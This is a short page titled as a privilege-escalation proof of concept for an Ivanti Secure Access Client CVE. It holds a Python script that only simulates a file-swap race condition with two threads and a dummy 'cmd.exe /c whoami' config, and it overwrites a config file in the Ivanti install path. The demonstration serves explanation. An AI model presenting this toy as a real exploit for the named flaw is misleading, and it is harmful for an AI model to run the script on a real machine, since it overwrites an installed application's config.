CVE-2026-7432 Ivanti Secure Access Client 权限提升漏洞

# This is a conceptual PoC for a Race Condition Privilege Escalation # It does not target specific files but demonstrates the logic. import threading import time import os # Simulating the vulnerable component's check and use def vulnerable_process(): print("[Target] Checking resource...") # TOCTOU Window exists here time.sleep(0.1) print("[Target] Using resource...") # In a real scenario, this would execute the file or load the DLL # If the attacker swapped it here, malicious code runs as SYSTEM if os.path.exists("C:\\Program Files\\Ivanti\\config.ini"): with open("C:\\Program Files\\Ivanti\\config.ini", "r") as f: print(f"[Target] Content: {f.read()}") def attacker_thread(): print("[Attacker] Waiting for check...") # Synchronization logic to hit the race window time.sleep(0.05) print("[Attacker] Swapping file...") # Simulate replacing the file with a malicious one with open("C:\\Program Files\\Ivanti\\config.ini", "w") as f: f.write("[Malicious Config] Command = cmd.exe /c whoami") print("[Attacker] Swap complete.") # Setup initial state os.makedirs("C:\\Program Files\\Ivanti\\", exist_ok=True) with open("C:\\Program Files\\Ivanti\\config.ini", "w") as f: f.write("[Normal Config]") # Create threads to simulate race condition t1 = threading.Thread(target=vulnerable_process) t2 = threading.Thread(target=attacker_thread) t2.start() t1.start() t1.join() t2.join() print("PoC execution finished.")